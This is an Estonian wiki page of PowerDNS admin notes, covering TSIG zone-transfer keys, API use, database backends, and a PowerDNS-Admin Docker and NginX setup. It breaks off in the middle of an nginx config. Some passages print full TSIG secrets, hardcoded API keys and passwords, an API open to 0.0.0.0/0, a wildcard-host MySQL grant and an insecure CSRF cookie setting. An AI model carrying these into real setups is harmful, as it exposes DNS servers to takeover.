 Create new TSIG key from_dns_to_itm hmac-sha256 WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
ning seejärel võti ühe või enama tsooniedastusega seostada&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil activate-tsig-key moraal.ee from_dns_to_itm master&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
Nov 26 14:09:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
This is a Master zone&lt;br /&gt;
Last SOA serial number we notified: 2016112602 == 2016112602 (serial in the database)&lt;br /&gt;
Zone is not actively secured&lt;br /&gt;
Zone has following allowed TSIG key(s): from_dns_to_itm&lt;br /&gt;
Metadata items: &lt;br /&gt;
        SOA-EDIT-API    DEFAULT&lt;br /&gt;
        TSIG-ALLOW-AXFR from_dns_to_itm&lt;br /&gt;
No keys for zone 'moraal.ee'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kontrolliks sobib kopeerida öeldes&lt;br /&gt;
&lt;br /&gt;
 $ dig @192.168.1.248 moraal.ee axfr -y &amp;quot;hmac-sha256:from_dns_to_itm:WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures vastuses on üks preudokirje lisaks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 from_dns_to_itm.        0       ANY     TSIG    hmac-sha256. 1480164029 300 32 t96WhnpNiAiL5KHXa8UzNthM6/p3ciQptF3Br2ZfhFk= 3538 NOERROR 0&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Sama TSIG võtit saab kasutada mitme tsooni jaoks ja nii on mugavam nt NSD patternit kasutada&lt;br /&gt;
* tundub, et tsooni jaoks TSIG juurutamisega kaasneb, et tsooni kopeerimise ip piirang enam ei kehti (lubatud ip pealt pöördudes ei ole võtme esitamine vajalik)&lt;br /&gt;
* kui tsooni juures on tsig sisse lülitatud, siis see mõjub nii notify kui xfr jaoks&lt;br /&gt;
* TSIG pseudokirjete arv suureneb vastavalt tsooni mahu suurenemisele, https://tools.ietf.org/html/rfc2845 'The TSIG MUST be included on the first and last DNS envelopes.  It can be optionally placed on any intermediary envelopes. It is expensive to include it on every envelopes, but it MUST be placed on at least every 100'th envelope.'&lt;br /&gt;
&lt;br /&gt;
Alternatiiv on kasutada -y asemel -k suvandit ja argumendiks failinime, faili sisuga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
key &amp;quot;from_yks_to_teine&amp;quot; {&lt;br /&gt;
algorithm HMAC-SHA256;&lt;br /&gt;
secret &amp;quot;YY8xvlL6yGjrt1G4xlfLBaidQOFdvixHgRXN6tXUPMitEKZUs7kl7qixJ0nSN1bbDJQxaFGkoKkBamNS7EPXbw==&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===API kasutamine===&lt;br /&gt;
&lt;br /&gt;
Üle API muudatuse tegemiseks peab eelnevalt PowerDNS serveris lülitama API sisse ning sisemise webserver käivitama&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.conf&lt;br /&gt;
 ..&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=apiparool&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ja kasutama nt sellist skripti (töökohaarvutis on seejuures abil kasutada nt jq utiliiti)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat pdns-api.sh&lt;br /&gt;
curl -X PATCH --data \&lt;br /&gt;
'{&amp;quot;rrsets&amp;quot;: &lt;br /&gt;
  [{ &amp;quot;name&amp;quot;: &amp;quot;www.moraal.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [{ &amp;quot;content&amp;quot;: &amp;quot;192.168.254.5&amp;quot;, &amp;quot;disabled&amp;quot;: false }],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 86000,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;A&amp;quot;,&lt;br /&gt;
      &amp;quot;changetype&amp;quot;: &amp;quot;REPLACE&amp;quot;&lt;br /&gt;
  }]&lt;br /&gt;
}' -H 'X-API-Key: midagisalajast123' http://192.168.1.248:8081/api/v1/servers/localhost/zones/moraal.ee. | jq .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
kas käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 $ sh pdns-api.sh&lt;br /&gt;
&lt;br /&gt;
API'ga tutvumiseks võib olla hea mõte kuulata pealt mingi olemasoleva API-rakenduse ja serveri vahelist liiklust ja siis seda Wireshark abil uurida.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/httpapi/README/ - tundub, et süntaks pole seal kõigis näidetes päris korrektne&lt;br /&gt;
&lt;br /&gt;
===PowerDNS kasutusstatistika===&lt;br /&gt;
&lt;br /&gt;
PowerDNS sisaldab sisemist veebiserverit, mille käest saab küsida teenuse kasutusstatistikat, TODO.&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et vaikimisi logitakse syslog'i.&lt;br /&gt;
&lt;br /&gt;
===Varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine operatsioonisüsteemi paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öelda, tuleb paigalda üldosa + mingi backend, nt BIND-ühilduvate tsoonifailide käsitlemise komponent (st failisüsteem)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-bind&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib failisüsteemi&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/pdns.conf - peamine seadistusfail&lt;br /&gt;
&lt;br /&gt;
====MySQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====pdns-backend-mysql paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et MySQL baas juba töötab samas arvutis, sobib paigaldamiseks sobib öelda (seejuures kasutades db-config sistemat, mis paigaldamise käigus tekitab create database baasi, kasutaja, sätib privileegid jne)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-backend-mysql&lt;br /&gt;
 ..&lt;br /&gt;
 Determining localhost credentials from /etc/mysql/debian.cnf: succeeded.&lt;br /&gt;
 dbconfig-common: writing config to /etc/dbconfig-common/pdns-backend-mysql.conf&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/dbconfig-common/pdns-backend-mysql.conf with new version&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/powerdns/pdns.d/pdns.local.gmysql.conf with new version&lt;br /&gt;
 checking privileges on database pdns for pdns@localhost: user creation needed.&lt;br /&gt;
 granting access to database pdns for pdns@localhost: success.&lt;br /&gt;
 verifying access for pdns@localhost: success.&lt;br /&gt;
 creating database pdns: success.&lt;br /&gt;
 verifying database pdns exists: success.&lt;br /&gt;
 populating database via sql...  done.&lt;br /&gt;
 dbconfig-common: flushing administrative password&lt;br /&gt;
 Processing triggers for libc-bin (2.24-3) ...&lt;br /&gt;
 Processing triggers for pdns-server (4.0.1-5) ...&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
* tekitatakse MySQL kasutaja pdns&lt;br /&gt;
* tekitatakse MySQL create database pdns&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tundub, et otsekoheselt failisüsteemis tsoonifaili redigeerimise teel on mõeldav töötada ainult BIND-formaadis backendiga. Muudega tuleks kasutada pdnsutil utiliiti või API liidest. Tsoonide nimekiri kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/named.conf&lt;br /&gt;
 # Debian default: supermaster created zones are written here:&lt;br /&gt;
 include &amp;quot;/var/lib/powerdns/supermaster.conf&amp;quot;;&lt;br /&gt;
 # Example for a manually configured slave zone:&lt;br /&gt;
 #&lt;br /&gt;
 zone &amp;quot;example.net&amp;quot; {&lt;br /&gt;
    file &amp;quot;/var/lib/powerdns/zones.slave.d/example.net.zone&amp;quot;;&lt;br /&gt;
    type master;&lt;br /&gt;
    masters { 192.0.2.53; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Tsoon kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/powerdns/zones.slave.d/example.net.zone&lt;br /&gt;
 $TTL 180&lt;br /&gt;
 @           IN    SOA     ns1.example.net.      hostmaster.example.net. (&lt;br /&gt;
                        2014080705      ; Serial Number (date YYYYMMDD++)&lt;br /&gt;
                        86400           ; Refresh (24 hours)&lt;br /&gt;
                        1800            ; Retry (1/2 hour)&lt;br /&gt;
                        3600000         ; Expire (42 days)&lt;br /&gt;
                        21600)          ; Minimum (6 hours)&lt;br /&gt;
                        IN      NS      ns1.example.net.&lt;br /&gt;
                        IN      NS      ns2.example.net.&lt;br /&gt;
 &lt;br /&gt;
 @           IN    A       192.168.0.15&lt;br /&gt;
             IN    MX   10 mail.example.net.&lt;br /&gt;
 www         IN    A       192.168.0.15&lt;br /&gt;
 mail        IN    A       192.168.0.2&lt;br /&gt;
 ns1         IN    A       10.1.1.171&lt;br /&gt;
 ns2         IN    A       10.1.1.172&lt;br /&gt;
 imre        IN    A       10.1.1.173&lt;br /&gt;
&lt;br /&gt;
Muudatuse kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control bind-reload-now example.net&lt;br /&gt;
 example.net:    parsed into memory at 2016-10-26 20:43:14 +0300&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
pdns-backend-bind seadistatakse failist&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.d/bind.conf &lt;br /&gt;
 launch+=bind&lt;br /&gt;
 bind-config=/etc/powerdns/named.conf&lt;br /&gt;
 bind-supermaster-config=/var/lib/powerdns/supermaster.conf&lt;br /&gt;
 bind-supermaster-destdir=/var/lib/powerdns/zones.slave.d&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/named.conf - tsoonide nimekiri&lt;br /&gt;
* /var/lib/powerdns/supermaster.conf - lihtsal juhul tühi&lt;br /&gt;
* /var/lib/powerdns/zones.slave.d - BIND formaadis tsoonifailide kataloog&lt;br /&gt;
&lt;br /&gt;
Tsoonide haldamisega tegeleb edasi allpool olev punkt.&lt;br /&gt;
&lt;br /&gt;
====Poweradmin====&lt;br /&gt;
&lt;br /&gt;
Märkus: tõenäoliselt ei ole Poweradmin tarvkara kasutamine hea mõte kuna rakendus sodib otse PowerDNS andmebaasis ja 2016 aasta sügisel on hakanud tekkima paremaid alternatiive, nt nsedit.&lt;br /&gt;
&lt;br /&gt;
Poweradmin kasutamiseks peab PowerDNS kasutama SQL andmebaasi ja Poweradmin peab töötama vastu sama andmebaasi. Tundub, et Poweradmin töötab paremini MySQL + PHP5 keskkonnas. Kui Poweradmin PHP rakendus töötab teises arvutis kui MySQL baas, sobib baasis öelda&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'%' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'localhost' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; flush privileges;&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
 Added retrieval request for 'moraal.ee.' from master 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-powerdns-with-a-mariadb-backend-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
====Tsooni andmestikust otsing====&lt;br /&gt;
&lt;br /&gt;
* Kõigi forward tsoonide sisust ip aadressi kasutamise leidmine&lt;br /&gt;
&lt;br /&gt;
 # for i in `pdns_control list-zones | grep -v All | grep -v in-addr`; do pdnsutil list-zone $i 2&amp;gt;&amp;amp;1 ; done | grep 10.20.123.154&lt;br /&gt;
 ftp.moraal.ee	300	IN	A	10.20.123.154&lt;br /&gt;
&lt;br /&gt;
===2024 aasta kevade tähelepanekud===&lt;br /&gt;
&lt;br /&gt;
Eesmärk&lt;br /&gt;
&lt;br /&gt;
* ühe operatsioonisüteemi peal kompaktselt lahenduse pidamine - Debian v. 12&lt;br /&gt;
* dns server - PowerDNS&lt;br /&gt;
* webgui haldusliides - PowerDNS-Admin (PDA)&lt;br /&gt;
* dnssec võimekus&lt;br /&gt;
* docker abil kasutatakse konteinerit (PDA)&lt;br /&gt;
* andmeid hoitakse PostgreSQL andmebaasis&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* dnssec kasutab algoritmi nr 13&lt;br /&gt;
* NSEC3 kasutab '1 0 0 -' seadistust&lt;br /&gt;
* sekundaarsete nimeserveritega suhtlemine toimub catalog-zones abil&lt;br /&gt;
* kasutatakse KSK/ZSK ja CSK lähenemist võtmete pidamisel&lt;br /&gt;
&lt;br /&gt;
Protseduuride võimekus&lt;br /&gt;
&lt;br /&gt;
* NSEC, NSEC3 ja NSEC3 param väärtuste muutmine&lt;br /&gt;
* võtme vahetus&lt;br /&gt;
* krüptimise algoritmi vahetus&lt;br /&gt;
&lt;br /&gt;
====Platvormi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
Platvorm koosneb&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 operatsioonisüsteem&lt;br /&gt;
* Docker Community Edition&lt;br /&gt;
* PostgreSQL v. 12&lt;br /&gt;
* NginX&lt;br /&gt;
&lt;br /&gt;
PostgreSQL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-common&lt;br /&gt;
root@pdns:/tmp# mkdir /etc/postgresql-common/createcluster.d&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;initdb_options = '--data-checksums'&amp;quot; &amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;create_main_cluster = false&amp;quot; &amp;gt;&amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-16&lt;br /&gt;
root@pdns:/tmp# pg_createcluster --locale en_US.UTF-8 16 pgcluster_pdns_prod&lt;br /&gt;
 &lt;br /&gt;
postgres=# \x&lt;br /&gt;
Expanded display is on.&lt;br /&gt;
postgres=# \l postgres&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+------------&lt;br /&gt;
Name              | postgres&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
ICU Locale        | &lt;br /&gt;
ICU Rules         | &lt;br /&gt;
Access privileges | &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pdns login;&lt;br /&gt;
sql&amp;gt; \password pdns&lt;br /&gt;
sql&amp;gt; create database db_pdns owner = pdns;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pda login;&lt;br /&gt;
sql&amp;gt; \password pda&lt;br /&gt;
sql&amp;gt; create database db_pda owner = pda;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS paigaldamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS ise ja tema tööks otseselt vajalikud komponendid (nt PostgreSQL andmebaas) töötavad nö tavalisel viisil operatsioonisüsteemi protsesside-teenustena st mitte-konteineritena.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install pdns-server pdns-backend-pgsql pdns-tools&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitatakse pdns server ja tema bind backend.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
PostgreSQL backend kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
Password for user pdns: &lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Baasi ligipääs jms kirjeldatakse failis, https://doc.powerdns.com/authoritative/backends/generic-postgresql.html#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# egrep -v &amp;quot;^#|^$&amp;quot; /etc/powerdns/pdns.d/gpgsql.conf&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dbname=db_pdns&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-host=127.0.0.1&lt;br /&gt;
gpgsql-password=parool&lt;br /&gt;
gpgsql-port=5432&lt;br /&gt;
gpgsql-user=pdns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
bind eemaldamiseks sobib kustutada fail&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/powerdns/pdns.d/bind.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab pdns server, gpgsql backendiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2024-06-16T16:44:00.877817+03:00 pdns systemd[1]: Starting pdns.service - PowerDNS Authoritative Server...&lt;br /&gt;
2024-06-16T16:44:00.906026+03:00 pdns pdns_server[3916]: Loading '/usr/lib/x86_64-linux-gnu/pdns/libgpgsqlbackend.so'&lt;br /&gt;
2024-06-16T16:44:00.906356+03:00 pdns pdns_server[3916]: This is a standalone pdns&lt;br /&gt;
2024-06-16T16:44:00.906408+03:00 pdns pdns_server[3916]: Listening on controlsocket in '/run/pdns/pdns.controlsocket'&lt;br /&gt;
2024-06-16T16:44:00.906668+03:00 pdns pdns_server[3916]: UDP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906684+03:00 pdns pdns_server[3916]: UDP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906735+03:00 pdns pdns_server[3916]: TCP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906750+03:00 pdns pdns_server[3916]: TCP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906866+03:00 pdns pdns_server[3916]: PowerDNS Authoritative Server 4.9.1 (C) PowerDNS.COM BV&lt;br /&gt;
2024-06-16T16:44:00.906881+03:00 pdns pdns_server[3916]: Using 64-bits mode. Built using gcc 12.2.0 on May 28 2024 07:46:05 by root@localhost.&lt;br /&gt;
2024-06-16T16:44:00.906891+03:00 pdns pdns_server[3916]: PowerDNS comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it according to the terms of the GPL version 2.&lt;br /&gt;
2024-06-16T16:44:00.915255+03:00 pdns pdns_server[3916]: Polled security status of version 4.9.1 at startup, no known issues reported: OK&lt;br /&gt;
2024-06-16T16:44:00.926644+03:00 pdns pdns_server[3916]: Creating backend connection for TCP&lt;br /&gt;
2024-06-16T16:44:00.935773+03:00 pdns pdns_server[3916]: About to create 3 backend threads for UDP&lt;br /&gt;
2024-06-16T16:44:00.935850+03:00 pdns systemd[1]: Started pdns.service - PowerDNS Authoritative Server.&lt;br /&gt;
2024-06-16T16:44:01.086206+03:00 pdns pdns_server[3916]: Done launching threads, ready to distribute questions&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ühtegi tsooni ei ole kirjeldatud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# pdnsutil list-all-zones&lt;br /&gt;
root@pdns:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS seadistamine====&lt;br /&gt;
&lt;br /&gt;
Seadistamisel tegeldakse&lt;br /&gt;
&lt;br /&gt;
* api sisselülitamine (PDA jaoks)&lt;br /&gt;
* SOA kirje vaikeväärtused&lt;br /&gt;
* DNSSEC vaike krüpto&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - PDA - docker====&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin tarvkara töötab docker konteinerina, aga kasutab host arvutist postgresql andmebaasi. Platvorm ettevalmistamine punktis on vajalik kasutaja ja create database tekitatud. PDA kasutamine eeldab, et PDNS juures on sisse lülitatud api liides (vaikimisi http liiklus üle port 8081).&lt;br /&gt;
&lt;br /&gt;
Docker compose fail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# cat docker-compose-pda.yml&lt;br /&gt;
services:&lt;br /&gt;
  svc_pda:&lt;br /&gt;
    image: powerdnsadmin/pda-legacy:v0.4.2&lt;br /&gt;
     &lt;br /&gt;
    container_name: cn_pda&lt;br /&gt;
    restart: always&lt;br /&gt;
    logging:&lt;br /&gt;
      driver: json-file&lt;br /&gt;
      options:&lt;br /&gt;
        max-size: 50m&lt;br /&gt;
    ports:&lt;br /&gt;
      - &amp;quot;9191:80&amp;quot;&lt;br /&gt;
    environment:&lt;br /&gt;
      - SECRET_KEY='saladus'&lt;br /&gt;
      - SQLALCHEMY_DATABASE_URI=postgresql://pda:pdaparool@192.168.10.53/pda&lt;br /&gt;
      - GUNICORN_TIMEOUT=60&lt;br /&gt;
      - GUNICORN_WORKERS=2&lt;br /&gt;
      - GUNICORN_LOGLEVEL=DEBUG&lt;br /&gt;
      - OFFLINE_MODE=False&lt;br /&gt;
      - CSRF_COOKIE_SECURE=False&lt;br /&gt;
 &lt;br /&gt;
    networks:&lt;br /&gt;
      - nw_pda&lt;br /&gt;
       &lt;br /&gt;
networks:&lt;br /&gt;
  nw_pda:&lt;br /&gt;
    name: nw_pda&lt;br /&gt;
    driver: bridge&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # docker compose -f docker-compose-pda.yml up -d&lt;br /&gt;
&lt;br /&gt;
Tulemusena on aadressil http://192.168.10.53:9191/ PDA webgui sisselogimise ekraan. Pressida Create Account ja esimesena tekitatud kasutaja on admin privileegidega.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX operatsioonisüsteem====&lt;br /&gt;
&lt;br /&gt;
NginX https:// frontend kasutamiseks sobib kasutada sellist seadistust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/etc/nginx/sites-enabled# cat /etc/nginx/sites-enabled/pdns &lt;br /&gt;
server {&lt;br /&gt;
    listen 80;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    if ($request_uri !~ /.well-known) {&lt;br /&gt;
      return 301 https://pdns.moraal.ee/;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
server {&lt;br /&gt;
    listen 443 ssl http2;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    ssl_certificate /etc/ssl/localcerts/pdns.moraal.ee.pem;&lt;br /&gt;
    ssl_certificate_key /etc/ssl/localcerts/pdns.moraal.ee.key;&lt;br /&gt;
    ssl_session_timeout 1d;&lt;br /&gt;
    ssl_session_cache shared:MozSSL:10m;&lt;br /&gt;
    ssl_session_tickets off;&lt;br /&gt;
    ssl_protocols TLSv1.2 TLSv1.3;&lt;br /&gt;
    ssl_prefer_server_ciphers off;&lt;br /&gt;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;&lt;br /&gt;
 &lt;br /&gt;
    client_max_body_size 25m;&lt;br /&gt;
 &lt;br /&gt;
    ssl_stapling off;&lt;br /&gt;
    add_header Strict-Transport-Security &amp;quot;max-age=63072000&amp;quot; always;&lt;br /&gt;
 &lt;br /&gt;
    access_log /var/log/nginx/access-pdns.moraal.ee-443.log;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    location / {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto https;&lt;br /&gt;
      proxy_pass http://192.168.10.53:9191;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX docker====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /srv/pdns/volume/nginx/etc/nginx/nginx.conf&lt;br /&gt;
# nginx.conf&lt;br /&gt;
&lt;br /&gt;
user nginx;&lt;br /&gt;
worker_processes auto;&lt;br /&gt;
error_log /dev/stderr;&lt;br /&gt;
pid /var/run/nginx.pid;&lt;br /&gt;
&lt;br /&gt;
events {&lt;br /&gt;
    worker_connections 1024;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
http {&lt;br /&gt;
    include       mime.types;&lt;br /&gt;
    default_type  application/octet-stream;&lt;br /&gt;
&lt;br /&gt;
    log_format  main  '$remote_addr - $remote_user [$time_local] &amp;quot;$request&amp;quot; '&lt;br /&gt;
                      '$status $body_bytes_sent &amp;quot;$http_referer&amp;quot; '&lt;br /&gt;
                      '&amp;quot;$http_user_agent&amp;quot; &amp;quot;$http_x_forwarded_for&amp;quot;';&lt;br /&gt;
    access_log /dev/stdout main;&lt;br /&gt;
&lt;br /&gt;
    sendfile        on;&lt;br /&gt;
    keepalive_timeout  65;&lt;br /&gt;
&lt;br /&gt;
    # Redirect HTTP to HTTPS&lt;br /&gt;
    server {&lt;br /&gt;
        listen 80;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        return 301 https://$host$request_uri;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    # HTTPS Configuration&lt;br /&gt;
    server {&lt;br /&gt;
        listen 443 ssl;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        http2 on;&lt;br /&gt;
        ssl_protocols TLSv1.3;&lt;br /&gt;
